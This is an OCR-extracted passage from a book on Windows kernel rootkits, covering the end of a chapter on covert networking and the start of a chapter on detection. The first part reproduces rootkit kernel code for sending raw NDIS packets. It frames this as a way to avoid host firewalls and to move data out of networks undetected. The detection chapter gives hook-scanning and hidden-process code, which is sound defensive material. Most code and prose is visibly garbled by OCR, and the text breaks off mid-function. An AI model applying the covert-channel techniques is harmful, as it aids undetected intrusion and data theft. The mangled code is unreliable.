gateway isfor.

A gateway usually has an I P address, and certainly hasa MAC address. To route packets out of the
network, you need only to use the gateway MAC addressin your packets. To clarify: Y ou do not send
packetsto the | P of the gateway; you send the packets to the MAC of the gateway.

For example, if | want to send a packet to 172.16.10.10, and my current network is 192.168.0.0, | must
find the MAC address of the gateway. If the gateway is192.168.0.1, | can use ARPtofind itsMAC
address. Then | send the packet to 172.16.10.10 with the MAC of the gateway.

Sending a Packet

Y ou can use NdisSend to send raw packets over the network. The following code illustrates how this
works. As before, this code is taken from rk_044, a public rootkit that can be downloaded from
rootkit.com.

The following snippet uses a spinlock to share accessto a global data structure. Thisisimportant for
thread safety, since the callback that collects packets occursin adifferent thread context than any of our
worker thread(s).

VO D SendRaw( char *c, int |en)



NDI S _STATUS aSt at ;
DbgPrint ("ROOTKI T: SendRaw cal | ed\ n");
/* aquire lock, release only when send is conplete */

KeAcqui r eSpi nLock( &3 obal ArraySpi nLock, &glrql);

Next, we alocate an NDIS PACKET from our packet pool. In this example, the packet pool handleis
stored in aglobal structure. (Weillustrated the allocation of a packet pool earlier, in the discussion of
the OnOpenAdapterDone function.)

I f (gOpenl nstance && c){
PNDI S PACKET aPacket P;
Ndi sAl | ocat ePacket ( &St at ,
&aPacket P,

gOpenl nst ance- >nPacket Pool H

),

i f(NDI S_STATUS_SUCCESS == aStat)
{
PVO D aBuf f er P;

PNDI S_BUFFER anNdi sBuf f er P,

Now we allocate an NDIS BUFFER from our buffer pool. Again, the buffer pool handle is stored
globally. The buffer isinitialized with the packet data we wish to send, and then "chained" to the
NDIS PACKET. Notethat we set the reserved field of the NDIS PACKET to NULL so our
OnSendDone function will know thisisalocally generated send.

Ndi sAl | ocat eMenory( &aBufferP,



| en,

0,

Hi ghest Accept abl eMax ) ;
mencpy( aBufferP, (PVOD)c, len);
Ndi sAl | ocat eBuf fer( &aStat,

&anNdi sBuf f er P,

gOpenl nst ance- >nBuf f er Pool H,

aBuf f er P,

len );

i f (NDI S_STATUS_SUCCESS == aSt at)
{
RESERVED( aPacket P) - >l rp = NULL,;

Ndi sChai nBuf f er At Back( aPacket P, anNdi sBuf ferP);

TheNDIS PACKET ispassed to NdisSend. If NdisSend completesimmediately, we call OnSendDone;
otherwise, the call is"pending,” and a callback to OnSendDone will occur.

Ndi sSend( &aSt at
gOpenl nst ance- >Adapt er Handl e,

aPacketP );

if (aStat !'= NDI S_STATUS PENDI NG )
{
OnSendDone( gOpenl nst ance,

aPacket P,



aStat );

}
}
el se
{
Il error
}
}
el se
{
Il error
}

}

/* release so we can send next.. */

KeRel easeSpi nLock( &3 obal ArraySpi nLock, glrgl);

The code in OnSendDone frees the resources we allocated for the NdisSend.

vVa D
OnSendDone( I N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext,
I N PNDI S_PACKET pPacket,

IN NDI S_STATUS Status )

PNDI S_BUFFER anNdi sBuf f er P;

PVvO D aBuf f er P;



Ul NT aBufferlLen;

PIRP Irp;

DbgPri nt (" ROOTKI T: OnSendDone cal | ed\ n");

KeAcqui r eSpi nLock( &3 obal ArraySpi nLock, &glrql);

If the send operation were initiated from a user-mode application, we would have an IRP to deal with.
The IRP would be stored in the reserved field of the NDIS PACKET. For purposes of our example,
however, there is no IRP, since the send operation originates from kernel mode.

| r p=RESERVED( pPacket ) - >I r p;

i1 f(lrp)
{
Ndi sRei niti al i zePacket ( pPacket) ;
Ndi sFreePacket ( pPacket) ;
I rp->loStatus. Status = NDI S_STATUS_ SUCCESS;
/* never reports back anything sent.. */
Irp->loStatus. Information = O;
| oConpl et eRequest (I rp, 1 O _NO I NCREVENT) ;
}
el se
{

Assuming thereis no IRP, we then "unchain" the NDIS BUFFER from the NDIS PACKET. Using a
call to NdisQueryBuffer allows us to recover the original memory buffer so that we can freeit. Thisis
important since if we don't freeit, amemory leak will occur with every packet send! Note that we also



use a spinlock to protect access to the globally shared buffer.

/1 1f no IRP, then it was |ocal.
Ndi sUnchai nBuf f er At Fr ont (
pPacket ,
&anNdi sBufferP );

i f (anNdi sBuf f er P)

{
Ndi sQuer yBuf f er (
anNdi sBuf f er P,
&aBuf f er P,
&aBuf f er Len) ;
i f(aBufferP)
{
Ndi sFreeMenory( aBufferP,
aBuf f er Len,
0);
}
Ndi sFreeBuf f er (anNdi sBufferP);
}

Ndi sRei niti al i zePacket ( pPacket) ;

Ndi sFreePacket ( pPacket) ;

/* rel ease so we can send next.. */

KeRel easeSpi nLock( &3 obal ArraySpi nLock, glrqglL);



return;

The choice of whether you use NDIS or TDI will depend on how low you want to be on the machine.
Each approach has its pros and cons. See Table 9-1 .

NDIS
Will enable you to send and receive raw frames of traffic that are independent of the local host | P stack
May be better if you want to avoid detection by host-based IDS / desktop firewalls

Will require that you integrate a TCP/IP stack of your own, or craft some other clever protocol for data
transfers

Using multiple MAC addresses may cause problems with some switches

TDI

Allowsyou to have an interface very similar to socketswhich will be easier for many programmers
Usesthe local host TCP/IP stack and thus avoids issues with multiple IP or MAC addresses

Itismorelikely to be captured by desktop firewall software

Table 9-1. Pros and cons of using NDIS versus TDI.

Approach PRO CON

Y ou now have the tools required to manipulate network traffic from your kernel rootkit.



Conclusion

Data hiding is an old topic applied to new technologies. Even Hollywood and popular fiction have
sensationalized the idea. In this chapter, we touched upon the essential concept of "hiding in plain
sight,” and introduced NDIS and TDI mechanisms that can be used to send and receive network data
from aMicrosoft Windows kernel driver.

Using the available technology, systems can be crafted to move datainto and out of networks without
detection. That may seem to be alofty claim, but most networks are busy, overtaxed, and lack robust
intrusion detection architectures. For the most part, the network admins just do their best to keep
everything running, and alittle trickle of covert datawill simply be overlooked.



Chapter 10. Rootkit Detection

| know not whether my native land be a grazing ground for wild beasts or yet my home!
ANONYMOUS POET OF MA'ARRA

As we have shown throughout this book, rootkits can be difficult to detect, especially when they operate
in the kernel. Thisis because akernel rootkit can alter functions used by all software, including those
needed by security software.

The same powers available to infection-prevention software are also available to arootkit. Whatever
avenues can be blocked to prevent rootkit intrusion can simply be unblocked. A rootkit can prevent
detection or prevention software from running or working properly. In the end, it comes down to an
arms race between the attacker and the defender, with alarge advantage going to whichever one loads
into the kernel and executesfirst.

That isnot to say all islost for the defender, but you should be aware what works today may not detect
the rootkit of tomorrow. As rootkit developers learn what detection software is doing, better rootkits will
evolve. Thereverseisalso true: Defenders will constantly update detection software as new rootkit
techniquesemerge.

In this chapter, we take alook at the two basic approaches to rootkit detection: detecting the rootkit
itself, and detecting the behavior of arootkit. Once you become familiar with these approaches, you will
be in a better position to defend yourself.



Detecting Presence

Many techniques can be used to detect the presence of the rootkit. In the past, software such as
Tripwirelll looked for an image on the file system. This approach is still used by most anti-virus
vendors, and can be applied to rootkit detection.

(2 www.tripwire.org

The assumption behind such an approach is that arootkit will use the file system. Obviously, this will
not work if the rootkit runs only from memory or islocated on a piece of hardware. In addition, if anti-
rootkit programs are run on alive system that has already been infected, they may be defeated.[2] A
rootkit that is hiding files by hooking system calls or by using alayered filefilter driver will subvert this
mode of detection.

(2] For best results, file integrity checking software should be run offline against a copy of the drive image.

Because software such as Tripwire has limitations, other methods of detecting rootkit presence have
evolved. In the following sections, we will cover some of these methods, used to find arootkit in
memory or detect proof of the rootkit's presence.

Guarding the Doors

All software must "live" in memory somewhere. Thus, to discover arootkit, you can look in memory.

This technique takes two forms. The first seeks to detect the rootkit asit loads into memory. Thisisa
"guarding-the-doors" approach, detecting what comes into the computer (processes, device drivers, and
so forth). A rootkit can use many different operating-system functionsto load itself into memory. By
watching these ingress points, detection software can sometimes spot the rootkit. However, there are
many such pointsto watch; if the detection software misses any of the loading methods, all bets are off.

This was the problem with Pedestal Software's Integrity Protection Driver (IPD)[3] . IPD began by
hooking kernel functionsin the SSDT such as NtLoadDriver and NtOpenSection. One of your authors,
Hoglund, found that one could load a module into kernel memory by calling ZwSetSystemlnformation,
which IPD was not filtering. After IPD was fixed to take this fact into account, in 2002, Crazylord
published a paper that detailed using asymbolic link for \DEVICE\\PHY SICALMEMORY to bypass
|PD'sprotection.[4l IPD had to continually evolve to guard against the |atest ways to bypass the
protection software.

(3] It appears Pedestal (www.pedestal software.com ) no longer offers this product.

(4] Crazylord, "Playing with Windows /dev/(k)mem," Phrack no. 59, Article 16 (28 June 2002), available at:
www.phrack.org/phrack/59/p59-0x 10.txt

The latest IPD version hooks these functions:

o ZWOpenKey

o ZWCreateKey



o ZWSetVaueKey

o ZwCreateFile

o ZWOpenFile

o ZwOpenSection

o ZwCreatel inkObject

o ZWSetSysteminformation
o ZwWOpenProcess

Thisseemslike along list of functionsto watch! Indeed, the length of thislist underscores the
complexity of rootkit detection.

Moreover, thelist is not complete. Y et another way to load arootkit isto look for entry pointsinto
another process's address space. All the ways listed in Chapter 4, The Age-Old Art of Hooking, for
loading a DLL into another process must also be watched. And all of this does not even cover every
loading method discussed in this book.

Finding all the ways arootkit might be loaded isjust the first step in defending against rootkits. L oad-
detection techniques are belabored by the need to decide both what to guard and when to signal. For
example, you can load arootkit into memory using Registry keys. An obvious detection point would be
to hook ZwOpenKey, ZwCreateK ey, and ZwSetVaueKey (asdid IPD). However, if your detection
software hooks these functions, how does it know which keys to guard?

Driversare usually placed into the following key:

HKEY LOCAL_MACHI NE\ Syst em Current Cont rol Set\ Servi ces

Thiskey isagood location to filter in your Registry-hook function, but arootkit could also alter another
key:

HKEY_LOCAL_MACHI NE\ Syst eml Cont r ol Set 001\ Ser vi ces

This key can be used when the machine is booted into the previously known good configuration.

This example does not even begin to take into account all the Registry keys that deal with how
application extensions are handled. And, consider that additional DLLSs, such as Browser Helper Objects
(BHOs), can be loaded into processes.



Detection software must also address the issue of symbolic links. Symbolic links are aliases for real
names. A target you seek to protect could have more than one possible name. If your detection software
hooks the system call table and arootkit is using a symboalic link, the true target of the symbolic link will
not have been resolved when your hook is called. Also, HKEY LOCAL_MACHINE is not represented
by that namein the kernel. Even if your detection software can hook all of these filter functions, the
number of placesto look seems infinite!

Still, let us assume you have discovered all the locations to watch in order to prevent rootkits from
loading, and let's further assume you have resolved all the possible names of critical resources to protect.
The difficulty you now faceisin deciding when to signal. If you have detected adriver or aDLL
loading, how do you know it is malware? Y our detection software would need a signature for
comparison, which assumes a known attack vector. Alternatively, your software could analyze the
behavior of the moduleto try to determine whether it's malicious.

Both of these approaches are very hard to pursue successfully. Signatures require prior knowledge of the
rootkit. This obviously doesn't work when arootkit is yet unknown. Behavior detection is also difficult,
plagued by false positives and fal se negatives.

Knowing when to signal is critical. Thisis an ongoing security battle, in which the anti-virus companies
remain entrenched.

Scanning the "Rooms"

Scanning is the second technique for detecting rootkitsin memory. In order to avoid the tedious labor of
guarding al the entry pointsinto the kernel or into a process's address space, you may want to scan
memory periodically, looking for known modules or signatures of modules that correspond to rootkits.
Again, thistechnigue can find only known attackers. The advantage of this detection method is
simplicity. The problem isthat it doesn't prevent arootkit from loading. In fact, it doesn't work unless
the rootkit has already been loaded! If your software scans processes address spaces, it will have to
switch contexts into each process's address space, or do the virtual-to-physical address translation itself.
If akernel rootkit is aready present, it can interfere with this memory walking.

Looking for Hooks
Another memory-based detection method isto look for hooks within the operating system and within

processes. As we discussed in Chapters 4 and 5, there are many places where ahook can hide, including
the following:

Import Address Table (IAT)

System Service Dispatch Table (SSDT), also known as the KeServiceDescriptorTable

Interrupt Descriptor Table (IDT) with one per CPU

Drivers 1/0 Request Packet (IRP) handler

Inline function hooks



When scanning for hooks, you suffer from all the shortcomings mentioned in the previous section on
scanning the "rooms.” The rootkit has already been loaded into memory and is executing; it may
interfere with your detection methods. But one advantage to looking for hooksisthat it's ageneric
approach. By looking for hooks, you do not have the problem of searching for known signatures or
patterns.

The basic algorithm for identifying a hook isto look for branches that fall outside of an acceptable
range. Such branches would be produced by instructionslike cal I orj np . Defining an acceptable range
Isnot difficult (for the most part). In aprocess Import Address Table (IAT), the name of the module
containing imported functionsis listed. This module has a defined start address in memory, and a size.
Those numbers are all you need to define an acceptable range.

Likewisefor device drivers: All legitimate 1/0 Request Packet (IRP) handlers should exist within a
given driver's address range, and all entriesin the System Service Dispatch Table (SSDT) should be
within the address range of the kernel process, ntoskrnl.exe.

Finding Interrupt Discriptor Table (IDT) hooksis abit more difficult, because you do not know what the
acceptable ranges should be for most of the interrupts. The one you know for sure, however, isthe INT
2E handler. It should point to the kernel, ntoskrnl.exe.

Inline hooks are the hardest to detect, because they can be located anywhere within the functionrequiring
a complete disassembly of the function in order to find themand because functions can call addresses
outside the modul€e's address range under normal circumstances. In the following sections, we will
explain how to detect SSDT, IAT, and some inline hooks.

Getting the Address Ranges of Kernel Modules

To protect the SSDT or adriver's IRP handler table, you must first identify what an acceptable rangeis.
To do this, you need a start address and a size. For kernel modules, you can call
ZwQuerySystemlinformation to find these.

Y ou may be wondering whether this function cannot be hooked as well. It can, but if it is hooked and
failsto return information for ntoskrnl.exe or some driver you know is loaded, that is an indication that a
rootkit is present.

Tolist al the kernel modules, you can call ZwQuerySystemlnformation and specify that you are
interested in the class of information called SystemM odulelnformation. Thiswill return alist of the
loaded modules and each modul€e's associated information. Here are the structures containing this
information:

#def i ne MAXI MUM_FI LENAME_LENGTH 256

t ypedef struct _MODULE | NFO {

DWORD d_Reservedl;



DWORD d_Reserved?;

PVO D p_Base;

DWORD d_Si ze;

DWORD d_Fl ags;

WORD w_I ndex;

WORD w_Rank;

WORD w _LoadCount;

WORD w NanmeO fset;

BYTE a_ bPath [ MAXI MUM FI LENAME _LENGTH] ;

} MODULE_I NFO, *PMODULE_I NFO, **PPMODULE_I NFO

t ypedef struct _MODULE LI ST
{
i nt d_Modul es;
MODULE | NFO a_Mdul es [];

} MODULE_LI ST, *PMODULE_LI ST, **PPMODULE_LI ST;

The GetListOfModules function will allocate the required memory for you, and return a pointer to this
memory if it is able to get the system modul e information:

FEEEETEE i bbb r bbb rrriirrngy
/1 PMODULE_LI ST GetLi st Of Modul es

/| Paraneters:

I I N PNTSTATUS pointer to NTSTATUS variable. This is useful for d¢
/'l Returns:

/1] OUT PMODULE_LI ST poi nter to MODULE LI ST



PMODULE LI ST Get Li st Of Modul es( PNTSTATUS pns)
{
ULONG ul _NeededSi ze;
ULONG *pul _Modul eLi st Address = NULL;
NTSTATUS ns;

PMODULE_LI ST pml = NULL;

/[l Call it the first tinme to determne the size required
/1l to store the information.
ZwQuer ySyst enl nf or mat i on( Syst emvbdul el nf or nat i on,

&ul NeededSi ze,

0,

&ul NeededSi ze);

pul _Modul eLi st Address = (ULONG *) ExAI | ocat ePool ( PagedPool , ul _Nee

i f (!pul _Modul eLi st Address) // ExAl| ocatePool fail ed.

{

I f (pns !'= NULL)

*pns = STATUS | NSUFFI Cl ENT_RESOURCES;

return (PMODULE LI ST) pul _Modul eLi st Addr ess;

ns = ZwQuerySystem nf or mati on( Syst emvodul el nf or mati on,



pul _Mbdul eLi st Addr ess,
ul _NeededSi ze,
0);
if (ns !'= STATUS SUCCESS)// ZwQuerySystem nformation fail ed.
{
/'l Free allocated paged kernel nenory.
ExFreePool ((PVO D) pul _Mdul eLi st Addr ess) ;

I f (pns !'= NULL)

*pns = ns;
return NULL:

}
pm = (PMODULE_LI ST) pul _Modul eLi st Addr ess;

if (pns !'= NULL)

*pns = ns;

return pm;

Now you have alist of all the kernel modules. For each of these, two important pieces of information
were returned in the MODULE_INFO structure. One was the base address of the module, and the other
was its size. Y ou now have the acceptable range, so you can begin to look for hooks!

Finding SSDT Hooks

The following DriverEntry function calls the GetListOf M odules function and then walks each entry,
looking for the one named ntoskrnl.exe. When it is found, a global variable containing the beginning and
end addresses of that module isinitialized. Thisinformation will be used to look for addressesin the
SSDT that are outside of ntoskrnl.exe's range.



typedef struct _NTOSKRNL {
DWORD Base;
DWORD End;

} NTOSKRNL, *PNTOSKRNL;

PMODULE_LI'ST  g_pm ;

NTOSKRNL g_nt oskr nl

NTSTATUS DriverEntry(I N PDRI VER OBJECT Driver Qoject,

I N PUNI CODE_STRI NG Regi st r yPat h)

{
i nt count;
g_pm = NULL
g_ntoskrnl . Base = 0;
g_ntoskrnl.End = 0;
g_pm = GetListO Mdul es();
if (fg_pm)
return STATUS_UNSUCCESSFUL
for (count = 0; count < g pm ->d_Modul es; count ++)
{
/1 Find the entry for ntoskrnl.exe.
if (_stricnmp("ntoskrnl.exe", g pm->a Mdul es[count].a _bPath + g
>a_Modul es[ count].w NaneOf fset) == 0)

{



g_ntoskrnl . Base (DWORD) g _pnl - >a_Modul es[ count ] . p_Base;

g_nt oskrnl . End ((DWORD) g_pmi - >a_Modul es[ count]. p_Base + g _pi
>a_Modul es[ count].d_Si ze);

}

}
ExFr eePool (g_pm);

if (g_ntoskrnl.Base != 0)
return STATUS_SUCCESS;
el se

return STATUS UNSUCCESSFUL;

The following function will print adebug message if it findsan SSDT address out of acceptable range:

#pragma pack( 1)
typedef struct ServiceDescriptorEntry {
unsi gned int *ServiceTabl eBase;
unsi gned i nt *Servi ceCount er Tabl eBase;
unsi gned i nt Nunmber O Servi ces;
unsi gned char *ParaniTabl eBase;
} SDTEntry_t;

#pragma pack()

/'l 1 nport KeServiceDescriptorTable from ntoskrnl.exe.

__decl spec(dllinmport) SDTEntry_ t KeServi ceDescri ptorTabl e;



voi d | dentifySSDTHooks(voi d)
{
int i;

for (i = 0; i < KeServiceDescriptorTabl e. Nunber O Servi ces; i ++)

if ((KeServiceDescriptorTabl e. Servi ceTabl eBase[i] <
g_ntoskrnl . Base) ||
(KeServi ceDescri pt or Tabl e. Servi ceTabl eBase[i] >

g_ntoskrnl . End))

DbgPrint ("Systemcall %l is hooked at address %!\n", i,

KeSer vi ceDescri pt or Tabl e. Servi ceTabl eBase[i]);

}

Finding SSDT hooksis very powerful, but do not be surprised if you find afew that are not rootkits.
Remember, alot of protection software today also hooks the kernel and various APIs.

In the next section, you will learn how to detect certain inline function hooks, which are discussed in
Chapter 4 .

Finding Inline Hooks
For ssimplicity in finding inline hooks, we will identify only detour patches that occur in thefirst severa

bytes of the function preamble. (A full-function disassembler in the kernel is beyond the scope of this
book.) To detect these patches, we use the CheckNtoskrnl ForOutsideJump function:

FEEEEEEErr i bbb rrirrrry



/1 DWORD CheckFor Qut si deJunp
/1

/'l Description:

Il This function takes the address of the function
/1 to check. It then |ooks at the first few opcodes
/1 | ooki ng for imedi ate junps, etc.

/1

DWORD CheckNt oskr nl For Qut si deJunp ( DWORD dw_addr)

{

BYTE opcode = *((PBYTE) (dw_addr));
DWORD hook = 0;
WORD desc = 0;

/'l These are the opcodes for unconditional relative junps.
/1 Opcode Oxeb is a relative junp that takes one byte, so
/1l at nost it can junp 255 bytes fromthe current EIP

/11

/1l Currently not sure how to handl e opcode Oxea. It | ooks
[l Tike jnp XXXX: XXXXXXXX. For now, | guess | wll just

/1l ignore the first two bytes. In the future, you should
/1l add these two bytes as they represent the segnent.

If ((opcode == 0xe8) || (opcode == 0xe9))

/'l || (opcode == 0Oxeb) -> ignoring these short junps
hook | = *((PBYTE) (dw_addr+1)) << 0O;

hook | = *((PBYTE) (dw_addr +2)) << 8;



el

{

/11
Il
11

hook | = *((PBYTE) (dw_addr +3)) << 16;
hook | = *((PBYTE) (dw_addr +4)) << 24;

hook += 5 + dw _addr;

se if (opcode == Oxea)

hook | = *((PBYTE) (dw_addr +1)) << 0;

hook | = *((PBYTE) (dw_addr+2)) << 8;

hook | = *((PBYTE) (dw_addr+3)) << 16;

hook | = *((PBYTE) (dw_addr +4)) << 24;

/1 Shoul d update to reflect GDT entry,

/1l but we are ignoring it for now

desc = *((WORD *) (dw_addr +5));

Now t hat we have the target of the junp

we nust check whether the hook is outside of
ntoskrnl. If it isn't, return O.

(hook !'= 0)

If ((hook < g _ntoskrnl.Base) || (hook > g_ntoskrnl.End))

hook = hook;
el se

hook = O;



return hook;

Given afunction address in the SSDT, CheckNtoskrnlForOutsideJump goes to that function and looks
for an immediate, unconditional jump. If oneisfound, it triesto resolve the address the CPU will jump
to. The function then checks this address to determine whether it is outside the acceptable range for
ntoskrnl.exe.

By substituting the appropriate range check, you can use this code to test for inline hooks in the first
severa bytes of any function.

Finding IRP Handler Hooks

Y ou aready have al the code necessary to find all the driversin memory by using the

GetM oduleslnformation function; and Chapter 4 covers how to locate the IRP handler tablein a
particular driver. To find driver IRP handler hooks, all you need to do is combine these two methods.

Y ou could even dereference each function pointer to search for inline function hooks within the handlers
using the preceding code.

Finding IAT Hooks

AT hooks are extremely popular with current Windows rootkits. IAT hooks are in the userland portion
of aprocess, so they are easier to program than kernel rootkits, and do not require the same level of
privilege. Because of this, you should make sure your detection software looksfor IAT hooks.

Finding IAT hooksis very tedious, and implementing a search for them requires many of the techniques
covered in previous chapters. However, those steps are relatively straightforward. First, change contexts
Into the process address space of the process you want to scan for hooks. In other words, your detection
code must run within the process you are scanning. Some of the techniques for doing this are outlined in
Chapter 4 , in the Userland Hooks section.

Next, your code needs a list of all the DLLs the process has |oaded. For the process, and every DLL
within the process, your goal is to inspect the functionsimported by scanning the IAT and looking for
function addresses outside the range of the DLL the function is exported from. After you have the list of
DLLsand the address range for each one, you can modify the code in the Hybrid Hooking Approach
section of Chapter 4 to walk each IAT of each DLL to see whether there are any hooks. Particular
attention should be paid to Kernel32.dll and NTDLL.DLL. These are common targets of rootkits,
because these DL L s are the userland interface into the operating system.

If the IAT is not hooked, you should still ook at the function itself to determine whether an inline hook
is present. The codeto do that islisted earlier in this chapter, in the CheckNtoskrnl ForOutsideJump



function; just change the range of thetarget DLL.

Onceyou arein aprocess's address space, there are several waysto find the list of processDLLSs. For
example, the Win32 API has afunction called EnumProcessM odules:

BOCOL EnunPr ocessModul es(
HANDLE hProcess,
HMODULE* | phMbdul e,
DWORD cb,

LPDWORD | pcbNeeded

Pass a handle to the current process as the first parameter to EnumProcessModules, and it will return a
listing of all the DLLsin the process. Alternatively, you could call this function from any process's
address space. In that case, you would pass a handle to the target process you are scanning. The function,
EnumProcesses, would then list all the processes. Y ou do not have to worry whether there are hidden
processes, because you do not care whether the rootkit has hooked its own hidden processes.

The second parameter to EnumProcessModulesis a pointer to the buffer you must allocate in order to
hold the list of DLL handles. The third parameter is the size of this buffer. If you have not allocated
enough space to hold all the information, EnumProcessM odules will return the size needed to store all
the DLL handles.

With ahandleto every DLL in the process returned by EnumProcessM odules, you can get each DLL's
name by calling the GetM odul eFileNameEx function. Another function, GetM odul el nformation, returns
the DLL base address and size for each DLL handle you use as the second parameter. Thisinformation
isreturned in the form of aMODULE_INFORMATION structure:

typedef struct _MODULEI NFO {
LPVAO D | pBaseOr' D | ;
DWORD Si zeOr | nage;
LPVO D Ent ryPoi nt;

} MODULEI NFO, * LPMODULEI NFO,



With the name of the DLL, its start address, and its length, you have all the data necessary to determine
an acceptable range for the functions it contains. This information should be stored in alinked list so
that you can accessit later.

Now begin to walk each filein memory, parsing the IAT of each DLL just asillustrated in the Hybrid
Hooking Approach section in Chapter 4 . (Remember that each process and each DLL'sIAT can hold
imports from multiple other DLLS.) Thistime, though, when you parse aprocess or a DLL looking for
itsIAT, identify each DLL it isimporting. Y ou can use the name of the DLL being imported to find the
DLL inthe stored linked list of DLLSs. Now compare each addressin the IAT to its corresponding DLL
modul e information.

The preceding technique requires the EnumProcesses, EnumProcessM odules, GetM odul eFileNameEXx,
and the GetM odul el nfformation APIs. The attacker's rootkit could have hooked these calls. If you want to
find thelist of DLLsloaded in a process without making any API calls, you can parse the Process
Environment Block (PEB). It contains alinked list of all the loaded modules. This technique has long
been used by all sorts of attackers, including virus writers. In order to implement this technique, you will
have to write alittle Assembly language. The Last Stage of Delirium Research Group has written avery
good paper(®l that details how to find the linked list of DLLswithin a process.

(5] The Last Stage of Delirium Research Group, "Win32 Assembly Components’ (updated 12 December 2002), available
at: http://Isd-pl.net/windows_components.html

Rootkit.com

The previously shown sections of code for finding AT, SSDT, IRP, and Inline hooks are
implemented in the tool VICE, available at: www.rootkit.com/vault/fuzen_op/vice.zip

Tracing Execution

Another way to find hooksin APIsand in system servicesis to trace the execution of the calls. This
method was used by Joanna Rutkowska in her tool Patchfinder 2.6l The premiseis that hooks cause
extrainstructions to be executed that would not be called by unhooked functions. Her software baselines
severa functions at boot, and requires that at that time the system is not hooked. Once this baselineis
recorded, the software can then periodically call the functions again, checking to see whether additional
instructions have been executed in subsequent calls when compared to the baseline.

(6] J. Rutkowska, "Detecting Windows Server Compromises with Patchfinder 2" (January 2004), available at:
www.invisiblethings.org/papers/rootkits_detection_with_patchfinder2.pdf

Although this technique works, it suffers from the fact that it requires a clean baseline. Also, the number
of instructions a particular function executes can vary from one call to the next, even if it is not hooked.
Thisislargely due to the fact that the number of instructions depends on the data set the function is
parsing. What is an acceptable variance is a matter of opinion. Although Rutkowska does state that, in
her tests, the difference between a hooked function and an unhooked function was significant when
tested against known rootkits, that difference could depend upon the sophistication of the attacker.






Detecting Behavior

Detecting behavior is a promising new areain rootkit detection. It is perhaps the most powerful. The
goal of thistechniqueisto catch the operating systemina”lie." If you find an API that returns values
you know to be false, not only have you identified the presence of arootkit, but you have also identified
what the rootkit istrying to hide. The behavior you are looking for isthe lie. A caveat to thisisthat you
must be able to determine what the "truth" is without relying upon the APl you are checking.

Detecting Hidden Files and Registry Keys

Mark Russinovich and Bryce Cogswell have released atool called Rootkit-Revealer.[7] It can detect
hidden Registry entries aswell as hidden files. To determine what the "truth” is, RootkitRevealer parses
thefilesthat correspond to the different Registry hives without the aide of the standard Win32 API calls,
such as RegOpenK eyEx and RegQueryValueEx. It also parsesthe file system at avery low level,
avoiding the typical API calls. RootkitRevealer then calls the highest level APIsto compare the result
with what it knows to be true. If adiscrepancy isfound, the behavior of the rootkit (and, hence, what it
ishiding) isidentified. Thistechnique isfairly straightforward, yet very powerful.

[7] B. Cogswell and M. Russinovich, RootkitRevealer, available at:
www.sysinternal s.com/ntw2k/freeware/rootkitreveal .shtml

Detecting Hidden Processes

Hidden processes and files are some of the most common threats you will face. A hidden processis
particularly threatening because it represents code running on your system that you are completely
unaware of. In this section, you will learn different ways to detect processes the attacker does not want
you to see.

Hooking SwapContext

Hooking functionsis useful during detection. The SwapContext function in ntoskrnl.exe is called to
swap the currently running thread's context with the thread's context that is resuming execution. When
SwapContext has been called, the value contained in the EDI register is a pointer to the next thread to be
swapped in, and the value contained in the ESI register is a pointer to the current thread, which is about
to be swapped out. For this detection method, replace the preamble of SwapContext with afive-byte
unconditional jump to your detour function. Y our detour function should verify that the KTHREAD of
the thread to be swapped in (referenced by the EDI register) points to an EPROCESS block that is
appropriately linked to the doubly linked list of EPROCESS blocks. With thisinformation, you can find
a process that was hidden using the DKOM tricks outlined in Chapter 7, Direct Kernel Object
Manipulation. The reason thisworksis that scheduling in the kernel is done on athread basis, as you
will recall, and all threads are linked to their parent processes. This detection technique was first
documented by James Butler et. al.[8l

(81 J. Butler et a., "Hidden Processes: The Implication for Intrusion Detection," Proceedings of the | EEE Workshop on



Information Assurance (United States Military Academy, West Point, NY), June 2003.

Alternatively, you could use this method to detect processes hidden by hooking. By hooking
SwapContext, you get the true list of processes. Y ou can then compare this data with that returned by the
APIsused to list processes, such as the NtQuerySystemlnformation function that was hooked in the
section Hooking the System Service Descriptor Tablein Chapter 4.

Different Sources of Process Listings

There are ways to list the processes on the system other than going through the
ZwQuerySystemlinformation function. DKOM and hooking tricks will fool this API. However, asimple
aternative like listing the ports with netstat.exe may reveal a hidden process, because it hasahandleto a
port open. We discuss using netstat.exe in Chapter 4.

The process CSRSS.EXE is another source for finding almost all the processes on the system. It has a
handle to every process except these four:

The Idle process

The System process

SMSS.EXE

CSRSS.EXE

By walking the handlesin CSRSS.EXE and identifying the processes to which they refer, you obtain a
data set to compare against the list of processes returned by the APIs. Table 10-1 contains the offsets
necessary in order to find the handle table of CSRSS.EXE. Within the EPROCESS block of every
processisapointer to astructurethat isitsHANDLE_TABLE. The HANDLE_TABLE structure
contains a pointer to the actual handle table, among other information. For further information on how to
parse the handle table, see Russinovich and Solomon's book, Microsoft Windows I nternals.[®]

(99 M. Russinovich and D. Solomon, Microsoft Windows Internals, Fourth Edition (Redmond, Wash.: Microsoft Press,
2005), pp. 12449.

Table 10-1. Offsets for finding handles from an EPROCESS block.

Windows 2000 Windows XP Windows 2003
Offset to Handle Table 0x128 Oxc4 Oxc4
in EPROCESS
Offset to the actual table 0x8 0x0 0x0
within the Handle Table
Structure

Another technique exists for identifying the list of processes without calling a potentially corrupted API.



Y ou know from our earlier discussion that every processs EPROCESS block has a pointer to its handle
table. It turns out that all these handle table structures are linked by aLIST_ENTRY, similarly to the
way all processes are linked by aLIST_ENTRY (see Chapter 7). By finding the handle table for any
process and then walking the list of handle tables, you can identify every process on the system. As of
thiswriting, we believe thisis the technique used by BlackLight[1% from the antivirus company F-
Secure.

[10] F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005): www.f-secure.com/blacklight/

In order to walk the list of handle tables, you need the offset of the LIST_ENTRY within the handle
table structure (in addition to the offset within the EPROCESS block of the pointer to the handle table,
which you have from the Table 10-1). The HANDLE_TABLE structure also containsthe PID of the
process that owns the handle table. The PID is also found at different offsets depending on the version of
the Windows operating system. The offsets to identify every process based upon its PID are givenin
Table 10-2.

Table 10-2. Offsets used to walk the handle tables and ID the processes.

Windows 2000 Windows XP Windows 2003
Offset to 0x54 Ox1c Ox1c
LIST_ENTRY within
Handle Table
Offset to Process ID 0x10 0x08 0x08

within Handle Table

Asyou traverse each process using the LIST_ENTRY values, you can find the owning PIDs. Now you
have another data set to compare against if the Win32 API failsto list a particular process. The
following function lists all the processes on the system by walking the linked list of handle tables:

voi d Li st ProcessesByHandl eTabl e(voi d)
{
PEPROCESS epr oc;
PLI ST _ENTRY start_plist, plist_hTable = NULL;
PDWORD d_pi d;
/'l Get the current EPROCESS bl ock.
eproc = PsGet Current Process();
